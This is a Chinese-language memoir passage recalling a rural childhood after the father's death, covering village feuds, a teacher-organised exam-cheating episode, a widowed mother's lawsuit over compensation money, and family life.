我上学回家,去苇子汪找我妈妈,她正抄着铁锨,跟庄里的人一起挖苇子汪呢。庄亲事邻在一起干活,倒也是热火朝天。战海大叔和大队干部是不会去干活儿的,战海大叔顶多拿着茶杯,去监督一下工事的进程。苇子汪里到处是泥土和沙砾,站没站的,坐没坐的,战海大叔溜达一圈儿也就回家了。他让人把一根长长的苇子杆,插在大坝上的土堆上头,以此为标记,大家要把土堆到那根苇子的顶头上,才算完成任务。 大家干得又苦又累,还惦记着自己的田地,心里发急,就商量着把那个做标记的苇子杆掰断一截。大家商议已定,跟我妈妈说:“嫂子,你去掰一截儿去。”我妈妈说:“那我掰了哈!”大家说:“行!战海回家喝茶去了,他不知道。咱谁也别说。”“好!”我妈妈立刻放下手里的铁锨,走到那土堆上树立的苇子杆旁,踮起脚后跟儿,“咔嚓”,就把那做标杆的苇子杆掰掉了一截儿。这下,大家的工期缩短了一些,心里都轻快了不少。 那段时间,我跟大芬走地很近,大芬的爸爸,我跟他叫三爷爷,他这几年跟战海走地很近。三爷爷个子很高,细长脸,白净、爱笑,一笑起来,那张瘦长的脸,像济公的僧帽一样,仿佛要弯起来。三奶奶嘴巴翘翘,腮帮子微鼓,大芬长得像她。 因为三爷爷有文化,新做了荆堂的会计,每次他在广播里讲话的时候,总是把“咱”说成“我们”。那时候,庄上的人还不兴说“我们”。那时候,我们把“我们”说成“咱”、“俺”,把他们说成“怹们”。所以,每次大喇叭响起来,三爷爷在里面说“我们”,“我们”的,我都觉得别扭,觉得他狗吃玻璃——净拽洋词儿。他为什么非要与众不同地说“我们”?是不是在卖弄他的文化呢。我对此颇有些鄙夷。三爷爷的文化,在他这么多年推胶车子、推山芋的过程中,恐怕早就所剩无几了吧。那时候,我已经上四五年纪了,自信比起三爷爷来,我认识的字,只多不少呢。 我去他家找大芬玩,三爷爷杀了猪,把煮熟的一大盆猪下水端上来,一家子围着吃,老娄奶奶也被叫了来,三爷爷也没躲避我,还给我挑了一块香香的猪耳朵。 有一天晚上,我又到她家里去找大芬玩。三奶奶包了饺子,战海光了膀子,乐呵呵地吃着饺子。他们一个会计,一个大队书记,边吃边说着以后的工作,计划着过些日子去西口走走。三爷爷跟战海说着、谈笑着,其乐融融、君、臣和乐。 又是一个晚上,还是那个夏天,三爷爷小心翼翼地躲在屋里不出去,让大芬去大门口观望着,随时来报告外面的情况。我知道有事要发生,也跟着大芬一起在大门口观望。后来,就听说,战海去王四的哥哥王三家里跟王三打起来了,大概因为超生的原因吧,战海与他结怨已久。二人在厮打之际,王三的老婆拿起菜刀朝战海的腿上砍去。结局是战海自己一瘸一拐的离开了荆堂,向西,奔西岭而去。后来,就再也没有见过他回来。 那段时间,我去上学的路上,经常看见王三和他的岳丈,一起骑着自行车,顺着南家前的小路,往乡政府的路上进发。他们的自行车,像一匹战马,在南家前的小路上颠簸起伏。他们的脸色沉沉,肩上、腹中,装着沉沉的心事。他们的脸上,有着荆轲刺秦的肃穆和义无反顾。 战海叔一家子离开了荆堂,去别的庄上居住了,连同他的老婆孩子。大婶子是个本本分分的人,被战海叔多次打骂,多次被婶子大娘拉架,也没有离开他。战海叔还有一个闺女,一个儿子,闺女像妈妈一样温柔,儿子像战海叔一样威风,尤其那双小小的孩童的小眼睛,跟战海叔一样,凶巴巴、虎虎的。 6. “我去恁爸爸坟子上哭了一场” 我爸爸去世以后,我家跟海良家,跟很多家的友好关系也就淡了,没了。以前,有我爸爸在,人家看他是个壮劳力,有什么事儿能给人家帮上忙,有力可图,人家才跟我们来往。如今,只剩下我们娘四个儿了,家里的天塌了,吃不上喝不上的,谁不怕沾着挨着呢。 我跟几个小孩子一起在家东的高岗儿上玩,玩地无聊了,我们就到高岗下头的地里玩。我看到海良家的蒜地,不知道当时是怎么想的,可能是太无聊,太没有吃的了,我就去秀东家的蒜地里拔了几根蒜苗来跟那几个小孩子一起吃。海良的爹叫秀东。 不一会儿,秀东来了。他看到地里的几棵蒜苗,阴沉着脸说:“好好的蒜苗儿就给拔了,这还真是偷鸡摸狗拔蒜苗来!”他沉着脸收拾着地里的蒜苗,看都不看我一眼。我看着他那张长着麻子的黑黄色的脸,我知道,家军死了以后,家军家跟他们家也就没有什么友谊了。家军家跟秀东家的友谊,随着家军的死,跟着一起没了。 所以,我对人情的冷热看得很开,人情也如花开花落,来时热闹、去时冷落。 一个下午,我放学回到家,看见妈妈坐在天井里,对着一天井的麦穗,抱着棒槌砸。麦子是她捡来的。她的眼睛是肿的,哭了很久的样子。 “我跟西院儿的男的吵架了。海良的二哥,他家要架电线,想从咱家天井里穿过去。我不同意。人家是故意扼咱的。他家架电线,走咱家干什么?人家恁题美奶奶家架电线都没走咱家。我跟他好好说的,我说,二兄弟,我不敢让恁家的电线走俺家,我怕打雷下雨的,电着俺三个小孩儿。海良的二哥腾地一下就起火儿了。‘哪就把恁家小孩儿电死了!’我就因为这个跟他吵的。” 我说:“海良家跟咱家以前不是蛮好的吗?他爹秀东跟恁跟俺爸爸都蛮好的。过年,恁还让我去给他家送竹子。” 我妈妈说:“那是因为有恁爸爸在哎。现在恁爸爸死了,我一个妇道人家,又不能给人家出力。人家跟咱还有什么。” 我听了我妈妈的话,问我妈妈说:“俺二婶子说什么了吗?” 我妈妈说:“她没说什么。她抱着小孩儿搁一边儿看的。人家有男人,我就一个娘们儿头子。人家男人打能打过,骂能骂过。人家还要说什么?就这样,恁爷爷还说我奋事。” 我妈妈骨子里是个很刚强的人。可是她孤立无援的时候,到底会思念起我们的爸爸。 “我去恁爸爸坟子上哭了一场”。妈妈跟我说。她眼泪“啪嗒!啪嗒”掉着,她的脸上沾了一道黑杠,她自己不知道。她手里还是抡着棒槌,“扑通!扑通”,结结实实地砸在天井里的那一小片麦子上。 我什么也没说。妈妈应该知道,她到爸爸坟上哭,并不能唤醒爸爸,爸爸不会再给她任何回答。可是她居然去爸爸坟上哭了。小寡妇哭坟,这是我从小就听过的故事。印象中的小寡妇是柔弱无助的。可是我们的妈妈真的很坚强,她要照顾三个孩子,哭坟的寡妇,不是她会做出的事。可是她还是去了。我那时只是一个十来岁的女孩子。我能帮妈妈什么呢。我什么也帮不了。 妈妈不到四十,为了保护孩子们受尽委屈,她把这委屈跟十来岁的女儿说起,女儿又怎么能知道她的悲苦,女儿又如何保护她呢。我什么都没有说。妈妈也没有跟我多说什么。她的苦只有她自己知道,她的三个小儿女怎么懂得。她的苦都在她的眼泪里流过了,留给女儿的,是她浮肿的眼睛,脸上的泪光,和她脸上的一道黑杠。 是的,我记得很清楚,我妈妈脸上有一道黑杠。那是她擦眼泪的时候,把手里的黑灰抹到脸上了。 我不知道跟我妈妈说什么。我趴在我家屋门旁的鸡窝上玩了一会儿。 “鸿雁跟笑笑呢?”我问我妈妈。 “跑到南荆堂恁爷爷家玩儿去了。”我妈妈说,“你饿吧?你饿了自己去屋里拿个馒头头子吃去。我还没来得及烧饭。”我妈妈跟我说。 我去屋里拿了块白白的干干的馒头头子,趴在鸡窝前头的石台子上吃了起来。 但是妈妈还是一如既往地带着我们过活,她一如既往地拉风箱,用金黄的玉米茝子给我们烧饭。她还是那么爱唱唱儿,她的唱儿还是那么多。 她拉着风箱,烧着锅唱: “一送里格红军,介支个下了山,秋风里格细雨,介支个缠绵绵。 山上里格野鹿,声声哀号叫。树树里梧桐,叶呀叶落完。 问一声亲人,红军啊,几时里格人马,介支个再回山。” “送君送到大路旁,君的恩情永不忘。农友乡亲心里亮,隔山隔水永相望。 送君送到大树下,心里几多知心话。出生入死闹革命,枪林弹雨把敌杀。 半间屋前川水流,革命的友谊才开头。哪有利刀能劈水,哪有利剑能崭愁。 送君送到江水边,知心话儿说不完。风里浪里你行船,我持梭镖盼君还。” 她坐在大门里头,对着我家天井里的小竹林,边簸着簸箕边唱: “正月里闹元宵,金匾绣开了。金匾绣咱毛主席,领导的主意高。二月里刮春风,金匾绣的红。金匾上绣的是毛主席,人民的好总统。” “一树红花照碧海,一团火焰出水来。珊瑚树红春常在,风里浪里把花开。把花开!” 有一种鸟,我妈妈叫它“棘棘棍子”。每到快晌午的时候,它总会飞来,在我家大锅前头的小椿树上,“叽叽喳喳”地叫个不停。这个时候,妈妈总是会笑着抬起头,看向那棵小椿树,喜笑颜开地冲着那只鸟说:“喜鸟报喜来,俺添人又添财!喜鸟报喜来,俺添人又添财!” 妈妈其实告诉过我们,“棘棘棍子”叫,主家会有不好的事,她故意说些吉祥话来破破这个霉运。 到了三年级,换了安老师做我们的班主任,教我们语文。数学老师换成了蔡老师。 有一回,学校应上级的要求要组织一场大型考试,几校联考。 安老师事先跟我们说:“同学们要互相帮助。该给同学看的要给同学看。学校里已经把监考老师招待好了。校长杀了一只羊,俺几个女老师陪着来监考的女老师吃饭,灌她们喝啤酒。她们喝地醉不拉几的,没工夫管你们。你们放心大胆地抄,监考老师不会拿恁怎么样的。我要是听说,谁不给同学看,我回来跟他不拉倒。” 下午,考试开始了。监考老师进来了。监考老师是个年轻的大姑娘,梳着大辫子。大概是刚被我们学校里的女老师陪着吃饭,灌了不少啤酒的缘故。她鹅蛋型的脸蛋上红彤彤光亮亮,她的嘴唇是天然的红润,像红花瓣一样。但是她一点不娇羞。说话做事很大方。像个男人一样。像她这样又美丽又大气的女子,我还很少见过,我真喜欢她。我猜,老娄奶奶年轻的时候应该就是这样的。 她坐在靠着教室门的椅子上,晃着手里的一本书来扇凉。我们仗着安老师的话,原本不想骚动的,现在也开始骚动了。 我们骚动了一会儿,那个监考的女老师说:“行了!你们声音不要那么大!不是看你们老师的面子。早就把你们抓起来了!” 不一会儿,校长夫人来了。校长夫人高高大大,白白胖胖,在她家附近的村子里教数学。 她慌里慌张地跑进来,跟监考老师打个招呼:“怎么办?好几个单元都没有教。” 她开始在黑板上写答案:“同学们,跟我一起来写答案。快一点!” 我原本也没觉得那些题目有多难。可是,既然是老师报答案,我们也觉得格外新鲜。赶紧跟着凑热闹,看着黑板,刷刷地在试卷上写了起来。 监考老师坐在那儿,笑眯眯地不说话。 不一会儿,巡考的领导来了。校长夫人赶紧躲到教室门后头,在监考老师靠着的门后头藏了起来。巡考的领导站在讲台上,面朝着大家看了一下,转身走了。等他走了以后,校长夫人从门后头出来,继续作案。 当时,我还以为巡考的领导,是真的没有看到校长夫人,现在想来,一个大活人,躲在门后头,领导怎么可能看不到。除非,那领导故意不想看到。想必,那领导,也被我们校长的羊肉汤和啤酒给拿下了。 我身后的同学用笔捅捅我的肩膀,要问我题。我不知道为什么,就是觉得不该给他看。我觉得我是秉承了独立思考和公平、公正的原则,拯救了他想投机倒把的灵魂。 等考完数学以后,我们走出教室,在外头放风儿,等着第二场考试开始。安老师抱着一沓子下一场的试卷来了。她看到了站在外头的我。她把我喊住了。 “宋大省,你怎么不给同学看的?!” 我低着头,不知道怎么回答。我知道,就在刚才,我没给他看答案的那个同学去安老师那里,把我给告了。 你虚荣!”安老师说。说完,她转头走开了。 我们的数学老师是蔡老师,他的年龄大概跟我爸爸差不多大。他也是民办教师。每天,他穿着一身蓝色的中山装,骑着他的自行车回家,他家是大泉的。 蔡老师的皮肤很白,两腮上经常红红的。他的眼睛很大。脾气也很大。我们都很怕他。 有一次,他给我们改数学卷子,他坐在讲台上,他一边改,一边喊我们订正。我们默默地写着作业等着,他默默地改着。改着改着,他把穿着蓝色丝袜的脚丫子从鞋里掏了出来,悠闲自在地晾在外头。他的那只蓝色丝袜坏了一个洞。他看了一眼,脸上露出了一丝笑意,也没把他的脚丫子伸进鞋壳塱里去。听说,蔡老师家里有两个女孩儿,他家经济估计也紧张吧。 蔡老师边改,边把出错的学生喊着名字叫上去骂。 “张益华!上来!写的什么东西!猪脑子吗!”他一边骂,一边把张益华的试卷在他的双手里一团,生气地往地上掷下去。 “拿回去!重写!” 张益华无声地哭着,蹲在地上,捡她的试卷。 又有好几个同学收到了同样的召唤,受到了同样的招待。 有的同学,因为错误太多,他的试卷被蔡老师给撕成了碎片,扔到了讲台前面的地上!他只能蹲在地上,一张张地把那些碎片捡起来! 我就坐在前排,我眼睁睁地看着那些白花花的碎片。我的心里真是害怕极了。什么时候轮到我啊? “宋大省!”蔡老师喊我了!我一下子从座位上站了起来,准备听他的掘地一声吼。可是,这次,蔡老师并没有发飙。他异乎寻常地温和地跟我说:“拿回去订正!” 蔡老师既没有吼我,也没有撕我的试卷!那一刻,我感受到了蔡老师的温柔。我大概知道是为什么了。因为他知道我的爸爸死了,因为他也是一个爸爸! 那时候,我的成绩还不错,每逢寒暑假,总能得到一张“三好学生”奖状。只是,我的名次每次都是第六名。 有一回,安老师让我们几个成绩好的去学校,帮她改试卷。我,张飞飞、李东,张思文,李美,宋大秀,张大龙他们都去了。我们一群人叽叽喳喳地在教室里帮安老师改卷子。到了中午,安老师端着一瓷盆子猪肉豆芽子,和一袋子烧饼进来了。 “来!恁几个帮老师改卷子辛苦了。先吃晌午饭吧,吃完饭再改!”安老师跟我们说。她把瓷盆子搁在一张课桌上。 “我给恁拿了碗,恁一人一碗!” 我们拿着烧饼,去那瓷盆子里挖菜吃。 “好多肥猪肉啊!一大块子一大块子的!”李东说。 “这猪肉上怎么有紫色的印章的?别是有毒吧?”宋大秀说。 “这不是毒,这是人家检查的盖的章,盖了章证明猪肉是安全的。”李东说。 “我不爱吃肥猪肉!”张飞飞说。 “我能吃肥猪肉!我吃!”宋大秀说。 那天的猪肉,真的好大,一大块子一大块子的,明晃晃的。我吃着烧饼和碗里的猪肉,心里又得到满足了。 下午,张飞飞她们说:“该誊分儿了。谁誊啊?” 宋大秀说:“我们几个分工誊呗。” 张飞飞说:“好。那,我跟李东一组,你跟宋大省一组,张大龙跟李美一组。” 宋大秀说:“还剩下张思文怎么办?” 张思文说:“我来监视你们!” 张飞飞说:“行!你想帮哪一组就帮哪一组。” 我们开始誊分了。我们在草稿纸上写呀,划呀,终于把分数都给誊好了。 张飞飞说:“宋大省,你这回考了第四!” 我说:“啊?真事儿啊?我从来没考过第四,我不是一直都是老六吗?第四是李美啊!” 张飞飞说:“你就是第四,李美是第六!我跟李东算了好几遍。你不信,我们再算算。”张飞飞说着,又拿起粉笔在黑板上算了起来。 “宋大省就是第四!你比李美高六分儿。”张飞飞说。 “前五名能拿两张奖状。第六名只能领一张‘三好学生’奖状。”李东说。 “啊?我是第六啊!”李美说,“我回家了哈!我回家帮俺娘盖苫子去了!”李美说着走了。 “李美跟安老师一个庄上。他两家还住地蛮近的。”张飞飞意味深长地说。 我知道张飞飞是什么意思,只是,谁也没有再多说什么。不管怎样,我头一回考了第四,我还是很高兴的。 下午,回到家里。我跟我妈妈说:“妈,我这回考了第四!” 我妈妈说:“第四好!进步了!” 我说:“这回的试卷是安老师让俺几个成绩好的帮她改的。我的分数是张飞飞跟我说的,要不我还不知道呢。张飞飞的意思是我以前就是第四,是安老师把我的第四给了她庄上的李美了。所以我一直是第六。” 我妈妈说:“你自己心里有数就行,你可不要对安老师说哈。人家恁安老师对咱家也蛮照顾的。” 我说:“哦,我不说。” 我跟我妈妈一块儿坐在堂屋里。没过多大会儿,我发现我的鼻子流血了。 我妈妈赶紧出去拿脸盆子给我倒水。 “快洗洗吧!你这都是改试卷累的。以后别去了!”我妈妈说。 “俺老师今天给俺吃的猪肉豆芽子,还有烧饼!”我说。 “那有什么用哎!你都累地鼻子淌血了。”我妈妈说,“你淌恁多血上哪儿补去。一个鸡蛋才一滴血。” 那时候,我的作文不错。安老师经常表扬我,经常拿着我的作文念给全班同学听。她边念边点评:“你看,人家宋大省写地多好!” 有一回,安老师把我从教室里喊出来,她跟我一起在教室外头的花圃旁边蹲下来,和蔼地跟我说:“宋大省,你的思维能力很强,以后好好学习,长大了当个作家。” 我认真地听着老师的话,漫无目的地拿了个小花枝在花圃里平滑的鲜泥地上划着。安老师边跟我说话,也边跟我一样,拿了个小花枝在花圃里划着。 那时候,大人总是爱这样鼓励小孩子。你如果作文好,就说你长大了可以当作家。你如果爱画画,就说你以后可以当画家。你如果胆子大,就说你以后可以当警察。我也就是在我小学的时候,还会真得以为我长大了可以当作家。等我渐渐长大,到了初中,我就不再这样想了。越长大越知道,“家”离我太远了,不是那么容易成就的。后来,等我经历了太多的苦难,才知道,“家”也是可以成的。关键是,你要经历非同一般的苦难,你要拥有非同一般的能够承受那种苦难的灵魂和身板。 放了麦忙假,我跟我妈妈一起坐在我家堂屋里。大门口儿有个女人在喊门儿。我二姑破天荒地来我家了。她用篮子给我们姊妹三个挎了六个龙凤碗,说是这阵子兴姑姑给侄子、侄女买碗。二姑坐着跟我妈妈说说话,又把我喊到她家里去。 “你从她妗子那回来了?”二姑夫坐在堂屋里问。 “回来了。她家就那一条蚰蜒路儿,种的都是果木,把天井遮得严严实实的。”我二姑抱怨着说。 二姑给我找了一身我表姐不穿的衣裳:蓝色的娃娃领的的褂头子,大红色的绸缎似的长裙子。 我穿着它,跟二姑、二姑夫、大姐一起,登着木梯子爬上他们瓦屋的屋檐,朝西边,朝会宝岭那边看。那儿,刚下过雨,天空中升起一道蛟龙似的的长长的青色的云彩。 “会宝岭那边看到龙了。”二姑说,“刚才那场雨是不是这条龙闹的呢?俺娘跟我说过,天上下雨,都是龙行的雨。有时候,龙行完雨,上不了天了。落在旱地上。老百姓知道它那是行雨累的,就提着桶、挑着担子,朝它挑身上浇水。龙得了水,就一阵雾气儿,飞到天上去了。” 二姑夫说:“像那些小雨,那就不是龙行的雨,那是□□、青蛙那些妖怪行的雨。□□、青蛙行的雨,到底不像样。有时候,东家下雨,把水缸都漂起来了,西家还没有雨来。” 麦忙假结束了,我扎着两个小辫子,穿着二姑给的那身衣裳去上学。头天晚上,我还在帮着爷爷收麦子,没来得及好好洗洗衣裳,第二天就穿着去上学了。蓝色的褂头子脏地灰头灰脑的,我端端正正坐着,我的胳膊也晒地黑黑的。 10. 立春的爹,扇了我爷爷的脸 1.追讨抚恤金 我爸爸的抚恤金,厂长给了文利大爷,让他帮我妈妈代管。等我妈妈忙完我爸爸的丧事,去找文利大爷要那笔钱的时候。文利大爷却不给我妈妈了。 “大哥,家军的抚恤金你打算什么时候给我啊?”我妈妈问文利大爷。 “不是我不想给你。恁大婶子。”文利大爷说,“恁三小叔子几次来信跟我要这钱,他想拿这钱盖屋的。我要是把钱给了你,我怕恁三小叔子不愿意。” “这笔钱是家军的抚恤金啊,大哥。理所应当地该给俺家小孩儿的。厂长当时不是说了嘛,这是给俺三个小孩儿的抚养费。因为我当时哭哭啼啼晕头转向,厂长怕我给失落喽。才让你给我暂时保管的。”我妈妈说。 “恁三小叔子才来信问我要过这钱。你说说,大妹妹,我能怎么办?我现在也是左右为难。给你也不是,给他也不是。”文利大爷说。 “大哥,那你的意思是,这钱,你不能给我喽。”我妈妈说。 “我目前是不能给你。大妹妹。恁三小叔子我得罪不起。”文利大爷说。 “大哥,这是家军的死亡赔偿金。咱谁的心里都明白儿的。这笔钱该是谁的就是谁的。大哥,你不是说你怕得罪俺三小叔子嘛?你今天把这笔钱给我,福伦他要是来喽,我去跟他说,我就说,是我拿刀子逼着你把钱给我的。福伦他是来抢也罢,来打也罢。我来承担一切后果。与你无关。大哥,你看这样行吧?”我妈妈说。 “你说的那样也不行哦,大妹妹。恁三小叔子那个人,他要是跟我耍无赖,没完没了地跟我闹,我怎么办。”文利大爷说。 “大哥,我今天就想听你一句话。俺小孩儿爸爸的赔偿金,你还能给我吧?”我妈妈说。 “我暂时不能给你。大妹妹。你也别急。就当我替你保管着。等恁三小叔子不惦记这钱了。我再把这钱给你。”文利大爷说。 “俺三小叔子?等他不惦记这笔钱了?那得等到哪年哪月啊?我能等,俺三个小孩儿能等吧?大哥,从家军活着的时候到现在,咱姊妹都惜好惜好的。我来恁家找你几趟了,我好话给你说尽,你就是不给是吧大哥?既然这样,那你可别怪弟妹我翻脸无情了。我转头儿就去凤安乡起诉。咱让法律说话。看看你这笔钱什么时候给我吧。” 我妈妈转头走了。她走路的脚步很重,后脚跟儿咚咚地踏在地上。 我妈妈回来以后跟我们说:“我要去跟恁文利大爷打官司了。咱家跟他家不好了,有仇了。恁小孩儿都装不知道。以后看到他,该怎么跟他说话怎么说话,就是注意点儿,别让他害了恁。” 我说:“知道了。” 我见了文利大爷,还是很亲切地喊他,他还是像以前一样,温和地笑着。他长着匀称的不高不矮的个子,穿着军绿色的中山装,戴着军绿色的帽子。笑起来,双眼皮温和地眯着,还是像以前那么慈祥。 我看到文利大娘,也还是亲切地喊她。总觉得她比别人更亲切。 有一个中午,好几个娘们儿坐在庄里,在宗雨家墙外头的小杨树下乘凉。文利大娘也在。 文利大娘招呼我坐下,我就坐在文利大娘身旁。文利大娘用以前没有过的深刻的眼神看着我:“省儿的小辫儿怎么扎的啊?”她在我背后说。我还是觉得文利大娘还是跟以前一样。 我们跟着爷爷,我妈妈什么时候去的法院,去的哪家法院,她跑了多少回法院。我们也不知道。她去了法院,法院的传票下来了,文利大爷要接传票。这都是我妈妈后来跟我说的。这笔钱历经一场官司,终于是到了我妈妈手里。 我妈妈不能把这笔钱放在家里。她把钱存到了银行。银行办理存款业务的人叫□□。他很同情我妈妈的遭遇。他帮我妈妈办理了存款手续,跟我妈妈按兄妹相称,叫我妈妈去他家做客。这以后,我常听到我妈妈说起□□大爷、□□大娘,还有她的一个儿子和两个闺女。 有一天,我妈妈带我去□□大爷家。□□大爷家在王庄。我跟我妈妈到了□□大爷家里。他家盖着二层小楼,刷了蓝色的油漆,回大门朝东。我跟着我妈妈走进了他家的小院。院子不大。屋门口儿挂着挡苍蝇的蓝色的珠帘。□□大娘穿着裙子,拿着水果刀,站在天井里削苹果。 “嫂子!”我妈妈喊道。 “大娘!”我也跟着喊。 □□大爷光着膀子,坐在客厅的沙发上,跟几个男的一起说话、聊天。他胡子黑黑,白白胖胖,一身赘肉,摊在他的身上,他仿佛是个佛爷,又仿佛是个大老爷。 “来了?”大爷跟我妈妈说。 “来了,大哥!”我妈妈说。 “这是恁大哥!”□□大爷跟我说。一个胖胖的男孩子站在他家楼下,笑嘻嘻地。 “去把恁姐喊下来。恁大姨跟恁大妹妹来了!”□□大爷吩咐他儿子说。 不一会儿,两个打扮时髦的姑娘从楼上下来了。她们慵懒地有些不情愿地跟我妈妈打了招呼。 “大姨!”她们说。 “这是恁两个大姐。你看长得好吧!”我妈妈说。 她们不怎么说话,我也不知道说什么。我就干巴巴地跟着我妈妈坐着。大娘递给我一个削好的苹果。我接过来拿着吃。等我把苹果吃完了以后,不知道该把苹果核扔到哪儿了。我左看右看,没看到可以扔苹果核的地方,我就跑到院子里,找扔苹果核的地方。 大娘看到了,问我:“你干嘛的?” 我说:“我想找个地方扔苹果核。” “来!给我吧。你去坐着歇歇。”大娘说。 大娘把我的苹果核儿拿到屋里,扔到了她家的垃圾桶里。我之前没有看到,也不知道还有垃圾桶这种玩意儿。我又继续干巴巴地挨着我妈妈坐着。 “哈哈哈!”男人堆里传来大爷的笑声。 “回大门儿往东,越过越空啊!”大爷说。 我妈妈疑惑地看了看大爷,又看了看我,意思是,恁大爷怎么能说这种不吉利的话啊。 大爷好像也意识到他说错了话。他又改口道:“回大门儿往东,越过越忠啊。” 我跟着我妈妈坐了一会儿,我妈妈跟大娘说了一声,我们就离开了大爷家。 终于从大爷家出来了,我如释重负。 “人家恁大爷家里就有垃圾桶,你怎么还到处跑着扔垃圾的?”我妈妈质问我说。 “啊?我哪知道他家有垃圾桶。”我说。 “那个垃圾桶不就在你跟前吗?”我妈妈说。 “我又不知道那是垃圾桶。”我跟我妈妈说。 “恁大哥看你了。”我妈妈说,“咱是女孩儿,咱不先开口。等人家提亲。”我妈妈说。 我心里想,他看我了,也不是就看上我了啊,咱家多穷啊,高攀不起人家。再说,我不是在上学吗?我还要上大学呢。我心里想着,也没把这话儿跟我妈妈说。我跟我妈妈就这样走着回到了家。 到家以后,我妈妈从我家梁头上吊着的箢子里头拿出来一大包黑乎乎的粘在一起的糖疙瘩。 “呐!这糖疙瘩给恁吃吧。我买给恁□□大爷的。人家同情咱,不要。人家要我拿回来给恁姊妹仨吃。我搁在箢子里,都化了。” 二姑夫在庄里包河沿,他也包板栗行。他家的板栗行,是我去张庄上学的必经之路,那片板栗行,对年幼的我来说,是一个玩耍的好地方。 春天里,板栗行绿树成荫,我们在板栗行里挖灰灰菜喂猪,在树上藏“蒙蒙”,在树林里挖“陷人坑”。板栗行是沙土地,树荫下的土质是潮湿、松软的,我们一个人背过身去,另一个人挖坑,挖好了“陷人坑”,再铺上一层树枝、树叶,最后用干土掩饰好,让那个背过身去的小孩儿来找。 夏天的板栗结果儿了,小小的板栗像一个个黄绿色的小线球儿。板栗花开放了,长长的黄绿色的板栗花像一条条棉绳儿,散发出有些松香气的香味。等板栗花老了,干巴了,就变成黄色,像洋娃娃头上黄色的编发。我们摘了带回家晒干,晚上就可以点燃它来熏蚊子了。 秋天的板栗行,黄叶飘飘,成熟的板栗外壳像刺猬一样,顶着一身扎人的刺。有的板栗炸开了口,露出枣红色的油油亮亮的板栗。这时候,二姑夫就在板栗行里看板栗了。他一个人在板栗行里坐着,支起桌子,坐着椅子,翘起二郎腿儿,喝着小酒。桌子上是二姑送去的几碟可口的小菜。 二姑夫头顶板栗,地上是时而炸裂掉下来的板栗。我路过此地,远远地看见二姑夫,很是为难,想快步走近去打招呼吧,好像我要吃他家的板栗似的,不好;想快步走开,不打招呼吧,好像又不礼貌,也不好。 二姑夫看到我,把我喊过去,让我吃他桌子上的煎饼和菜。我知道二姑夫是出于亲情和同情,但我跟二姑夫不熟,很拘束地吃了几口。二姑夫又让我去捡几颗地上的板栗带走,我却之不恭,小心翼翼地捡了几颗板栗,然后跟二姑夫道别,赶紧上学去。 天气渐渐冷了,一夜西风紧,第二天,天还黑漆漆的,板栗行里就来了很多挑着箩筐扫树叶的妇女。我妈妈一大早就起来去扫树叶了,我早起去上学的时候,经过那片板栗行,就试着去找妈妈。北风萧萧、天色沉沉,我喊了一声妈妈,我妈妈居然在遮遮掩掩的树林里答应了。 一夜之间,无边的树叶飘落下来,镶嵌在刚冒出头的小麦苗上。有的地方落叶不多,像棋盘里的棋子一样,稀稀拉拉。有的地方,堆积了一层厚厚的落叶,叫拾柴的人看着,只想把它们一扫而光,全都背回家。扫树叶必然要带上竹耙子,看见了想扫的树叶,一把把耙子甩出去,再篓回来,排布在地上的树叶就被聚之眼底聚之脚下。把树叶篓成一小堆,一小堆,最后一把儿一把儿地掐到框子里,再踩上几脚,框子里就变得实骤了,还可以腾出地方来装更多的树叶。 时间还早,我站在我妈妈跟前,看着我妈妈扫树叶。 我妈妈跟我说:“你说说,恁□□大爷杀了人了。” 我说:“啊,怎么回事儿?” 我妈妈说:“恁大爷他儿跟人闹架。恁大爷去向他儿,把人给杀了。他自己跑了。他全家都跑了。现在还不知道在哪。” 我想,大爷跑了,他们的家也散了。那么漂亮的小楼,可惜了。 文利大爷家的艳红大姐结婚了。占海大叔包了一场电影,给庄里的人看。庄里的电线杆子上拉着红色的横幅:“南荆堂全体村民欢庆艳红出嫁。”因为艳红大姐的男人是大户,所以她结婚的时候,有村里放电影为她庆贺。其他人家的闺女出嫁,是万万没有这个待遇的。 电影就在我爷爷家门口儿放映。放映机架在西边,电影幕布架在东边。我们搬了板凳坐下来,面朝着家东看电影。 电影里放的是提倡计划生育的:一对生了二胎、三胎的男女,带着三四个小孩儿,日子过地吵吵闹闹鸡飞狗跳。他们把自家的小儿子扎个羊角辫儿,伪装成女儿,推说没有男孩儿,还要继续生崽。哪知道这个伪装成小女孩儿的小男孩儿,在尿尿的时候露了马脚,他不是像小女孩儿一样蹲下来尿尿,而是褪下裤子,露出小鸡鸡,开始撒尿。这一幕被管计划生育的干部看到了。管计划生育的干部穿着白色的衬衫,白白胖胖,跟□□大爷很像。 管计划生育的干部到了他们家,他们家里乱七八糟的,地上全是小孩子的玩具。干部走在地上,“吱”地一声,踩到了一个小孩子的玩具。孩子的妈妈手忙脚乱地出来接待干部。 干部带了饼干给孩子们吃,没有好东西吃的孩子们吃得那个香,让没有钱来给孩子们买好东西吃的妈妈惭愧地低下了头。 她怀里抱着孩子问那个干部:“领导,你对俺家小孩儿那么好,你家一定有好几个孩子吧?” 那个胖乎乎的干部竖起食指,笑笑说:“我家只有一个!” 那个女人说:“那一定是男孩儿。” 那个胖胖的干部又笑笑说:“女儿!”那个女人露出了惊讶的表情。 后来,那个女人又怀孕了。她自己也知道实在是养不起了,她就叫着跳着要把这个孩子给弄掉。她站在自家板凳上跳,没用。她又爬到她家屋顶上跳。她的丈夫跟公公赶紧张开她家的一个大筐子去接她。她“噗通”往下一跳,那筐子里头的一筐子面被她给蹬翻了,弄了她的丈夫白白的一脸。 艳红大姐出嫁了,嫁给了凤安街的首富。不久就生下了一个黑黑的胖丫头。 一天,我跟我弟弟在我爷爷家门口玩儿。我身上穿着我三叔给我买的衣裳,肩膀上有个“小公安”的肩章。艳红大姐跟她的丈夫双双对对地从我爷爷家门口儿走过。她们是往北荆堂去的,是去她姥娘家。 我们喊了艳红大姐。大姐淡淡地应了一句,就往北荆堂走了。她身后跟着的中年男人,又高又壮,微微发福。他双手插在裤兜儿里,边走,边低头眯着眼看了看我衣裳上的肩章。 “小公安!”他说。 大姐没有吭声儿,我跟我弟弟站在那儿也不吭声儿。 回到家,我跟我妈妈说了看到艳红大姐跟她的丈夫的情形。 我妈妈说:“那个男人是离过婚的,跟前妻有一个小男孩儿。他做生意,有钱有势。恁大姐生孩子,娘家人去送朱米,人家拿了好菜好饭招待的,肘子、栗子炒鸡。娘家的亲戚都商量好了,各家就给五块钱,根本不够人家一顿饭钱的。恁大姐家里的鸡蛋都是一针线筐子,一针线筐子的,都搁在那,根本吃不了。” 